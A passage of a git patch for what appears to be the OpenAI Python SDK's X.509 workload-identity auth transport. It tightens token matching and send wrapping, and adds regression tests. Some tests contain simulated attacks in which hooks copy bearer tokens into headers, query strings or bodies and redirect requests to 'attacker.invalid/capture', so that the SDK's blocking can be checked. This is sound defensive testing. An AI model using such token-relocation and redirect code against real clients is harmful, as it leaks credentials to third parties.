is object and marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: - current_authorization = request.headers.get("Authorization") originating_request = _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker][0] - if ( - marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS or request is not originating_request - ) and current_authorization is not None: + if marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS or request is not originating_request: for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): - if active_authorization is None: - continue - access_token = active_authorization.removeprefix("Bearer ") - if access_token in current_authorization: + if active_authorization is not None and _request_contains_access_token( + request, active_authorization + ): return False return True request_authorization = request.headers.get("Authorization") @@ -114,17 +111,19 @@ def _is_unprotected_transport_request(request: httpx2.Request) -> bool: or request_authorization != auxiliary_authorization ): continue - if request_authorization is not None: - for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): - if active_authorization is not None: - access_token = active_authorization.removeprefix("Bearer ") - if access_token in request_authorization: - return False + for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): + if active_authorization is not None and _request_contains_access_token(request, active_authorization): + return False request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = auxiliary_marker return True return contextual_marker is not None and contextual_marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES +def _request_contains_access_token(request: httpx2.Request, authorization: str) -> bool: + access_token = authorization.removeprefix("Bearer ") + return any(access_token in value or access_token in unquote(value) for value in request.headers.values()) + + def _request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) if type(marker) is object: @@ -518,22 +517,37 @@ def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: self._original_request_hooks: list[Any] = [] self._original_build_request: Any = None self._had_build_request_attribute = False + self._original_send: Any = None + self._had_send_attribute = False + self._send_depth: ContextVar[int] = ContextVar("openai_x509_client_send_depth", default=0) self._auxiliary_request_markers: set[object] = set() def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: request = cast(httpx2.Request, self._original_build_request(*args, **kwargs)) + self._mark_auxiliary_request(request) + return request + + def _mark_auxiliary_request(self, request: httpx2.Request, *, recursive: bool = False) -> None: active_scope = _API_TRANSPORT_SCOPE.get() - if active_scope is None or request is active_scope[0]: - return request + if ( + active_scope is None + or request is active_scope[0] + or _is_unprotected_transport_request(request) + or _active_request_transport_scope(request) is not None + ): + return authorization = request.headers.get("Authorization") - if authorization is not None: - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - for _, _, expected_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): - if expected_authorization is not None: - access_token = expected_authorization.removeprefix("Bearer ") - if access_token in authorization: - return request + if recursive and authorization is not None and request.method == active_scope[0].method: + protected_headers = { + name: value + for name, value in active_scope[0].headers.items() + if name.lower() not in ("authorization", "host") + } + if protected_headers and all( + request.headers.get(name) == value for name, value in protected_headers.items() + ): + return marker = object() request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = marker @@ -542,7 +556,26 @@ def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.add(marker) with self._lock: self._auxiliary_request_markers.add(marker) - return request + + def _send_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + depth = self._send_depth.get() + if depth: + self._mark_auxiliary_request(request, recursive=True) + previous_depth = self._send_depth.set(depth + 1) + try: + return self._original_send(request, *args, **kwargs) + finally: + self._send_depth.reset(previous_depth) + + async def _send_async_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: + depth = self._send_depth.get() + if depth: + self._mark_auxiliary_request(request, recursive=True) + previous_depth = self._send_depth.set(depth + 1) + try: + return await self._original_send(request, *args, **kwargs) + finally: + self._send_depth.reset(previous_depth) def _wrap(self, transport: Any) -> Any: if self._is_async: @@ -642,6 +675,11 @@ def activate( self._had_build_request_attribute = "build_request" in vars(http_client) self._original_build_request = http_client.build_request vars(http_client)["build_request"] = self._build_auxiliary_request + self._had_send_attribute = "send" in vars(http_client) + self._original_send = http_client.send + vars(http_client)["send"] = ( + self._send_async_auxiliary_request if self._is_async else self._send_auxiliary_request + ) self._active_requests += 1 marker = object() @@ -684,12 +722,17 @@ def activate( vars(http_client)["build_request"] = self._original_build_request else: vars(http_client).pop("build_request", None) + if self._had_send_attribute: + vars(http_client)["send"] = self._original_send + else: + vars(http_client).pop("send", None) auxiliary_markers = self._auxiliary_request_markers self._auxiliary_request_markers = set() self._original_transport = None self._original_mounts = {} self._original_request_hooks = [] self._original_build_request = None + self._original_send = None if auxiliary_markers: with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: for auxiliary_marker in auxiliary_markers: @@ -736,47 +779,52 @@ def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Req return None authorization = request.headers.get("Authorization") - if request_scope is not None: + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + active_scopes = list(_ACTIVE_API_TRANSPORT_SCOPES.values()) marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - marked_scope = type(marker) is object and marker in _ACTIVE_API_TRANSPORT_SCOPES + marked_scope = type(marker) is object and marker in _ACTIVE_API_TRANSPORT_SCOPES + matching_scopes: list[tuple[httpx2.Request, httpx2.URL, str | None]] = [] + for header_value in request.headers.values(): + decoded_value = unquote(header_value) + header_scopes = [ + scope + for scope in active_scopes + if scope[2] is not None + and (scope[2].removeprefix("Bearer ") in header_value or scope[2].removeprefix("Bearer ") in decoded_value) + ] + exact_header_scopes = [ + scope for scope in header_scopes if header_value == scope[2] or decoded_value == scope[2] + ] + for matched_scope in exact_header_scopes if exact_header_scopes else header_scopes: + if matched_scope not in matching_scopes: + matching_scopes.append(matched_scope) + if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: + trusted_scope = request_scope is not None and (request is request_scope[0] or marked_scope) + if ( + trusted_scope + and request_scope is not None + and all(scope[2] == request_scope[2] for scope in matching_scopes) + ): + matching_scopes = [request_scope] + else: + raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") + + if request_scope is not None: protected_authorization = request_scope[2] if ( request is request_scope[0] or marked_scope or ( - authorization is not None - and protected_authorization is not None - and ( - authorization == protected_authorization - or ( - protected_authorization.startswith("Bearer ") - and protected_authorization[len("Bearer ") :] in authorization - ) - ) + protected_authorization is not None and _request_contains_access_token(request, protected_authorization) ) ): return request_scope - if authorization is None: - return None - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - matching_scopes = [ - scope - for scope in _ACTIVE_API_TRANSPORT_SCOPES.values() - if scope[2] is not None - and ( - authorization == scope[2] - or (scope[2].startswith("Bearer ") and scope[2][len("Bearer ") :] in authorization) - ) - ] if not matching_scopes: return None exact_scopes = [scope for scope in matching_scopes if authorization == scope[2]] if exact_scopes: matching_scopes = exact_scopes - if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: - raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") same_origin = [ scope for scope in matching_scopes if (request.url.host, request.url.port) == (scope[1].host, scope[1].port) ] @@ -932,18 +980,9 @@ def _active_client_transport_scopes( slot = f"_{owner.__name__.lstrip('_')}{slot}" values.append(getattr(current, slot, None)) - inspected: set[int] = set() - while values: - value = values.pop() - if id(value) in inspected: - continue - inspected.add(id(value)) + for value in values: if isinstance(value, client_types): pending.append(value) - elif isinstance(value, dict): - values.extend(cast(dict[object, object], value).values()) - elif isinstance(value, (list, tuple, set, frozenset)): - values.extend(cast(list[object] | tuple[object, ...] | set[object] | frozenset[object], value)) yield diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 161f32de93..2b57d4f835 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -265,6 +265,64 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected +@pytest.mark.parametrize("authorization", ["Bearer substituted-token", "Bearer access%2Dtoken"]) +@pytest.mark.parametrize("copy_access_token", [False, True]) +def test_sync_x509_rejects_recursively_reconstructed_protected_requests( + authorization: str, copy_access_token: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + copied = httpx2.Request( + request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + ) + copied.headers["host"] = "attacker.invalid" + copied.headers["Authorization"] = authorization + if copy_access_token: + copied.headers["X-Copied-Credential"] = request.headers["Authorization"] + return self.send(copied, **kwargs) + return super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("authorization", ["Bearer substituted-token", "Bearer access%2Dtoken"]) +@pytest.mark.parametrize("copy_access_token", [False, True]) +async def test_async_x509_rejects_recursively_reconstructed_protected_requests( + authorization: str, copy_access_token: bool +) -> None: + requests: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + copied = httpx2.Request( + request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + ) + copied.headers["host"] = "attacker.invalid" + copied.headers["Authorization"] = authorization + if copy_access_token: + copied.headers["X-Copied-Credential"] = request.headers["Authorization"] + return await self.send(copied, **kwargs) + return await super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + @pytest.mark.parametrize("redirect", [False, True]) @pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) @pytest.mark.parametrize("reconstruct", [False, True]) @@ -409,6 +467,32 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == expected +def test_sync_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") + + http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + +async def test_async_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") + + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + @pytest.mark.parametrize("redirect", [False, True]) @pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) @pytest.mark.parametrize("reconstruct", [False, True]) @@ -1084,7 +1168,8 @@ def test_x509_hook_list_composition_never_retains_private_validation_callbacks(m assert first_hooks == expected -def test_sync_x509_preserves_custom_client_send_and_response_encoding() -> None: +@pytest.mark.parametrize("instance_send", [False, True]) +def test_sync_x509_preserves_custom_client_send_and_response_encoding(instance_send: bool) -> None: class RecordingClient(httpx2.Client): def __init__(self) -> None: self.sent: list[str] = [] @@ -1119,6 +1204,9 @@ def __exit__(self, *args: Any) -> None: super().__exit__(*args) http_client = RecordingClient() + original_send = http_client.send + if instance_send: + vars(http_client)["send"] = original_send with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: response = client.get("/models", cast_to=httpx2.Response) assert response.text == "café" @@ -1126,9 +1214,11 @@ def __exit__(self, *args: Any) -> None: assert http_client.send_count == 1 assert http_client.lifecycle == [] assert http_client._state.name == "OPENED" + assert (vars(http_client).get("send") is original_send) is instance_send -async def test_async_x509_preserves_custom_client_send_and_response_encoding() -> None: +@pytest.mark.parametrize("instance_send", [False, True]) +async def test_async_x509_preserves_custom_client_send_and_response_encoding(instance_send: bool) -> None: class RecordingClient(httpx2.AsyncClient): def __init__(self) -> None: self.sent: list[str] = [] @@ -1163,6 +1253,9 @@ async def __aexit__(self, *args: Any) -> None: await super().__aexit__(*args) http_client = RecordingClient() + original_send = http_client.send + if instance_send: + vars(http_client)["send"] = original_send async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: response = await client.get("/models", cast_to=httpx2.Response) assert response.text == "café" @@ -1170,6 +1263,7 @@ async def __aexit__(self, *args: Any) -> None: assert http_client.send_count == 1 assert http_client.lifecycle == [] assert http_client._state.name == "OPENED" + assert (vars(http_client).get("send") is original_send) is instance_send def test_sync_x509_preserves_custom_client_state_across_concurrent_requests() -> None: @@ -1361,6 +1455,10 @@ async def test_async_x509_preserves_mounted_transports_and_restores_caller_confi "api_key", "matching_api_key", "direct", + "direct_prebuilt", + "direct_prebuilt_authorized", + "direct_prebuilt_propagated", + "direct_prebuilt_authorized_propagated", "direct_authorized", "direct_propagated", "direct_authorized_propagated", @@ -1411,7 +1509,12 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ) if "authorized" in nested_mode and "hook_authorized" not in nested_mode: headers["Authorization"] = "Bearer telemetry-token" - assert self.get("https://telemetry.example/v1/models", headers=headers).json()["object"] == "list" + if "prebuilt" in nested_mode: + auxiliary = httpx2.Request("GET", "https://telemetry.example/v1/models", headers=headers) + response = self.send(auxiliary) + else: + response = self.get("https://telemetry.example/v1/models", headers=headers) + assert response.json()["object"] == "list" else: assert self.nested is not None assert self.nested.models.list().object == "list" @@ -1430,7 +1533,11 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ) with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert client.models.list().object == "list" + if nested_mode == "direct_prebuilt_authorized_propagated": + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + else: + assert client.models.list().object == "list" assert http_client.nested_completed @@ -1442,6 +1549,10 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: "api_key", "matching_api_key", "direct", + "direct_prebuilt", + "direct_prebuilt_authorized", + "direct_prebuilt_propagated", + "direct_prebuilt_authorized_propagated", "direct_authorized", "direct_propagated", "direct_authorized_propagated", @@ -1492,7 +1603,11 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ) if "authorized" in nested_mode and "hook_authorized" not in nested_mode: headers["Authorization"] = "Bearer telemetry-token" - response = await self.get("https://telemetry.example/v1/models", headers=headers) + if "prebuilt" in nested_mode: + auxiliary = httpx2.Request("GET", "https://telemetry.example/v1/models", headers=headers) + response = await self.send(auxiliary) + else: + response = await self.get("https://telemetry.example/v1/models", headers=headers) assert response.json()["object"] == "list" else: assert self.nested is not None @@ -1512,17 +1627,25 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ) async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert (await client.models.list()).object == "list" + if nested_mode == "direct_prebuilt_authorized_propagated": + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + else: + assert (await client.models.list()).object == "list" assert http_client.nested_completed -def test_sync_x509_rejects_auxiliary_hooks_that_add_the_active_access_token() -> None: +@pytest.mark.parametrize("prebuilt", [False, True]) +@pytest.mark.parametrize("credential_header", ["Authorization", "X-Copied-Credential"]) +def test_sync_x509_rejects_auxiliary_hooks_that_add_the_active_access_token( + prebuilt: bool, credential_header: str +) -> None: requests: list[httpx2.Request] = [] def inject_token(request: httpx2.Request) -> None: if request.url.host == "telemetry.example": - request.headers["Authorization"] = "Bearer access-token" + request.headers[credential_header] = "Bearer access-token" request.url = httpx2.URL("https://attacker.invalid/capture") request.headers["host"] = "attacker.invalid" @@ -1538,7 +1661,10 @@ def __init__(self) -> None: def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: if not self.sent_auxiliary: self.sent_auxiliary = True - self.get("https://telemetry.example/v1/models") + if prebuilt: + self.send(httpx2.Request("GET", "https://telemetry.example/v1/models")) + else: + self.get("https://telemetry.example/v1/models") return super().send(request, **kwargs) http_client = NestedClient() @@ -1549,12 +1675,16 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == [_TOKEN_URL] -async def test_async_x509_rejects_auxiliary_hooks_that_add_the_active_access_token() -> None: +@pytest.mark.parametrize("prebuilt", [False, True]) +@pytest.mark.parametrize("credential_header", ["Authorization", "X-Copied-Credential"]) +async def test_async_x509_rejects_auxiliary_hooks_that_add_the_active_access_token( + prebuilt: bool, credential_header: str +) -> None: requests: list[httpx2.Request] = [] async def inject_token(request: httpx2.Request) -> None: if request.url.host == "telemetry.example": - request.headers["Authorization"] = "Bearer access-token" + request.headers[credential_header] = "Bearer access-token" request.url = httpx2.URL("https://attacker.invalid/capture") request.headers["host"] = "attacker.invalid" @@ -1570,7 +1700,10 @@ def __init__(self) -> None: async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: if not self.sent_auxiliary: self.sent_auxiliary = True - await self.get("https://telemetry.example/v1/models") + if prebuilt: + await self.send(httpx2.Request("GET", "https://telemetry.example/v1/models")) + else: + await self.get("https://telemetry.example/v1/models") return await super().send(request, **kwargs) http_client = NestedClient() @@ -1581,7 +1714,54 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert [str(request.url) for request in requests] == [_TOKEN_URL] -def test_sync_x509_rejects_auxiliary_requests_with_another_active_identity_token() -> None: +def test_sync_x509_allows_concurrent_origins_with_the_same_access_token() -> None: + both_active = threading.Barrier(2) + + class ConcurrentClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + both_active.wait(timeout=5) + return super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(_response)) + clients = [ + OpenAI(workload_identity=_identity(), http_client=transport, base_url=origin, max_retries=0) + for origin in ("https://mtls.api.openai.com/v1", "https://mtls-us.api.openai.com/v1") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + results = [executor.submit(client.models.list) for client in clients] + assert [result.result(timeout=5).object for result in results] == ["list", "list"] + + +async def test_async_x509_allows_concurrent_origins_with_the_same_access_token() -> None: + active_count = 0 + both_active = asyncio.Event() + + class ConcurrentClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal active_count + active_count += 1 + if active_count == 2: + both_active.set() + await asyncio.wait_for(both_active.wait(), timeout=5) + return await super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(_response)) + clients = [ + AsyncOpenAI(workload_identity=_identity(), http_client=transport, base_url=origin, max_retries=0) + for origin in ("https://mtls.api.openai.com/v1", "https://mtls-us.api.openai.com/v1") + ] + + assert [result.object for result in await asyncio.gather(*(client.models.list() for client in clients))] == [ + "list", + "list", + ] + + +@pytest.mark.parametrize("cross_origin", [False, True]) +def test_sync_x509_rejects_auxiliary_requests_with_another_active_identity_token(cross_origin: bool) -> None: requests: list[httpx2.Request] = [] both_active = threading.Barrier(2) release_second = threading.Event() @@ -1602,11 +1782,22 @@ def redirect_telemetry(request: httpx2.Request) -> None: class ConcurrentClient(httpx2.Client): @override def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": + if request.url.host in ("mtls.api.openai.com", "mtls-us.api.openai.com"): both_active.wait(timeout=5) if request.headers.get("Authorization") == "Bearer token-one": try: - self.get("https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"}) + if cross_origin: + self.get( + "https://mtls-us.api.openai.com/v1/models", + headers={ + "Authorization": "Bearer token-two", + "X-Copied-Credential": "Bearer token-one", + }, + ) + else: + self.get( + "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} + ) finally: release_second.set() else: @@ -1618,6 +1809,7 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: OpenAI( workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), http_client=transport, + base_url="https://mtls-us.api.openai.com/v1" if cross_origin and suffix == "two" else None, max_retries=0, ) for suffix in ("one", "two") @@ -1625,14 +1817,15 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: with ThreadPoolExecutor(max_workers=2) as executor: results = [executor.submit(client.models.list) for client in clients] - with pytest.raises(OpenAIError, match="configured API origin|authorization"): + with pytest.raises(OpenAIError, match="configured API origin|authorization|single API origin"): results[0].result(timeout=5) assert results[1].result(timeout=5).object == "list" assert all(request.url.host != "attacker.invalid" for request in requests) -async def test_async_x509_rejects_auxiliary_requests_with_another_active_identity_token() -> None: +@pytest.mark.parametrize("cross_origin", [False, True]) +async def test_async_x509_rejects_auxiliary_requests_with_another_active_identity_token(cross_origin: bool) -> None: requests: list[httpx2.Request] = [] active_count = 0 both_active = asyncio.Event() @@ -1655,16 +1848,25 @@ class ConcurrentClient(httpx2.AsyncClient): @override async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: nonlocal active_count - if request.url.host == "mtls.api.openai.com": + if request.url.host in ("mtls.api.openai.com", "mtls-us.api.openai.com"): active_count += 1 if active_count == 2: both_active.set() await asyncio.wait_for(both_active.wait(), timeout=5) if request.headers.get("Authorization") == "Bearer token-one": try: - await self.get( - "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} - ) + if cross_origin: + await self.get( + "https://mtls-us.api.openai.com/v1/models", + headers={ + "Authorization": "Bearer token-two", + "X-Copied-Credential": "Bearer token-one", + }, + ) + else: + await self.get( + "https://telemetry.example/v1/models", headers={"Authorization": "Bearer token-two"} + ) finally: release_second.set() else: @@ -1676,6 +1878,7 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: AsyncOpenAI( workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), http_client=transport, + base_url="https://mtls-us.api.openai.com/v1" if cross_origin and suffix == "two" else None, max_retries=0, ) for suffix in ("one", "two") @@ -1683,7 +1886,7 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: first, second = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) assert isinstance(first, OpenAIError) - assert "configured API origin" in str(first) or "authorization" in str(first) + assert any(message in str(first) for message in ("configured API origin", "authorization", "single API origin")) assert not isinstance(second, BaseException) assert second.object == "list" assert all(request.url.host != "attacker.invalid" for request in requests) From c7e7bc2c63cae72b800911a925a9f523a65053fb Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 11:31:18 -0700 Subject: [PATCH 09/13] fix(auth): preserve request provenance and release auxiliary state --- src/openai/auth/_x509.py | 57 +++++- .../test_x509_workload_identity_transport.py | 172 +++++++++++++++++- 2 files changed, 227 insertions(+), 2 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index a0f01ab770..8b2cfbf5c4 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -521,6 +521,8 @@ def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: self._had_send_attribute = False self._send_depth: ContextVar[int] = ContextVar("openai_x509_client_send_depth", default=0) self._auxiliary_request_markers: set[object] = set() + self._auxiliary_marker_owners: dict[object, object] = {} + self._auxiliary_marker_sends: dict[object, int] = {} def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: request = cast(httpx2.Request, self._original_build_request(*args, **kwargs)) @@ -556,26 +558,62 @@ def _mark_auxiliary_request(self, request: httpx2.Request, *, recursive: bool = _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.add(marker) with self._lock: self._auxiliary_request_markers.add(marker) + owner = active_scope[0].extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + if type(owner) is object: + self._auxiliary_marker_owners[marker] = owner + + def _begin_auxiliary_send(self, request: httpx2.Request) -> object | None: + marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) + with self._lock: + if type(marker) is not object or marker not in self._auxiliary_request_markers: + return None + self._auxiliary_marker_sends[marker] = self._auxiliary_marker_sends.get(marker, 0) + 1 + return marker + + def _release_auxiliary_marker(self, marker: object, *, completed_send: bool = False) -> None: + with self._lock: + if marker not in self._auxiliary_request_markers: + return + active_sends = self._auxiliary_marker_sends.get(marker, 0) + if completed_send: + active_sends -= 1 + if active_sends: + self._auxiliary_marker_sends[marker] = active_sends + return + elif active_sends: + return + self._auxiliary_marker_sends.pop(marker, None) + self._auxiliary_marker_owners.pop(marker, None) + self._auxiliary_request_markers.discard(marker) + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(marker, None) + _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.discard(marker) def _send_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: depth = self._send_depth.get() if depth: self._mark_auxiliary_request(request, recursive=True) + auxiliary_marker = self._begin_auxiliary_send(request) previous_depth = self._send_depth.set(depth + 1) try: return self._original_send(request, *args, **kwargs) finally: self._send_depth.reset(previous_depth) + if auxiliary_marker is not None: + self._release_auxiliary_marker(auxiliary_marker, completed_send=True) async def _send_async_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: depth = self._send_depth.get() if depth: self._mark_auxiliary_request(request, recursive=True) + auxiliary_marker = self._begin_auxiliary_send(request) previous_depth = self._send_depth.set(depth + 1) try: return await self._original_send(request, *args, **kwargs) finally: self._send_depth.reset(previous_depth) + if auxiliary_marker is not None: + self._release_auxiliary_marker(auxiliary_marker, completed_send=True) def _wrap(self, transport: Any) -> Any: if self._is_async: @@ -705,10 +743,16 @@ def activate( _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) _API_TRANSPORT_SCOPE.reset(scope) auxiliary_markers: set[object] = set() + owned_auxiliary_markers: list[object] = [] with self._lock: for identifier in self._scope_request_bindings.pop(marker, set()): self._bound_requests.pop(identifier, None) self._request_scopes.pop(marker, None) + owned_auxiliary_markers = [ + auxiliary_marker + for auxiliary_marker, owner in self._auxiliary_marker_owners.items() + if owner is marker + ] self._active_requests -= 1 if self._active_requests == 0: http_client._transport = self._original_transport @@ -728,11 +772,15 @@ def activate( vars(http_client).pop("send", None) auxiliary_markers = self._auxiliary_request_markers self._auxiliary_request_markers = set() + self._auxiliary_marker_owners = {} + self._auxiliary_marker_sends = {} self._original_transport = None self._original_mounts = {} self._original_request_hooks = [] self._original_build_request = None self._original_send = None + for owned_marker in owned_auxiliary_markers: + self._release_auxiliary_marker(owned_marker) if auxiliary_markers: with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: for auxiliary_marker in auxiliary_markers: @@ -775,7 +823,14 @@ def release(reference: ReferenceType[Any]) -> None: def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: request_scope = _request_transport_scope(request) - if _is_unprotected_transport_request(request): + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + identity_scopes = [scope for scope in _ACTIVE_API_TRANSPORT_SCOPES.values() if scope[0] is request] + if identity_scopes: + if len({(scope[1].host, scope[1].port) for scope in identity_scopes}) > 1: + raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") + if request_scope not in identity_scopes: + request_scope = identity_scopes[0] + elif _is_unprotected_transport_request(request): return None authorization = request.headers.get("Authorization") diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 2b57d4f835..9d04a6a266 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -18,7 +18,12 @@ from openai import OpenAI, AsyncOpenAI, OpenAIError from openai.auth import X509WorkloadIdentity, x509_workload_identity -from openai.auth._x509 import _FinalizingRequestHooks +from openai.auth._x509 import ( + _ACTIVE_AUXILIARY_TRANSPORT_MARKERS, + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES, + _client_transport_scope, + _FinalizingRequestHooks, +) _TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" _API_URL = "https://mtls.api.openai.com/v1/models" @@ -545,6 +550,40 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: assert factory_delegate.event_hooks["request"] == [redirect_request] +@pytest.mark.parametrize("credential_location", ["query", "body"]) +def test_sync_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( + credential_location: str, +) -> None: + requests: list[httpx2.Request] = [] + + def relocate_credential(request: httpx2.Request) -> None: + token = request.headers.pop("Authorization").removeprefix("Bearer ") + request.url = httpx2.URL(f"https://attacker.invalid/capture?credential={token}") + if credential_location == "body": + request.url = httpx2.URL("https://attacker.invalid/capture") + request._content = token.encode() + request.headers["host"] = "attacker.invalid" + request.extensions.clear() + + class DelegatingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + delegate = httpx2.Client( + 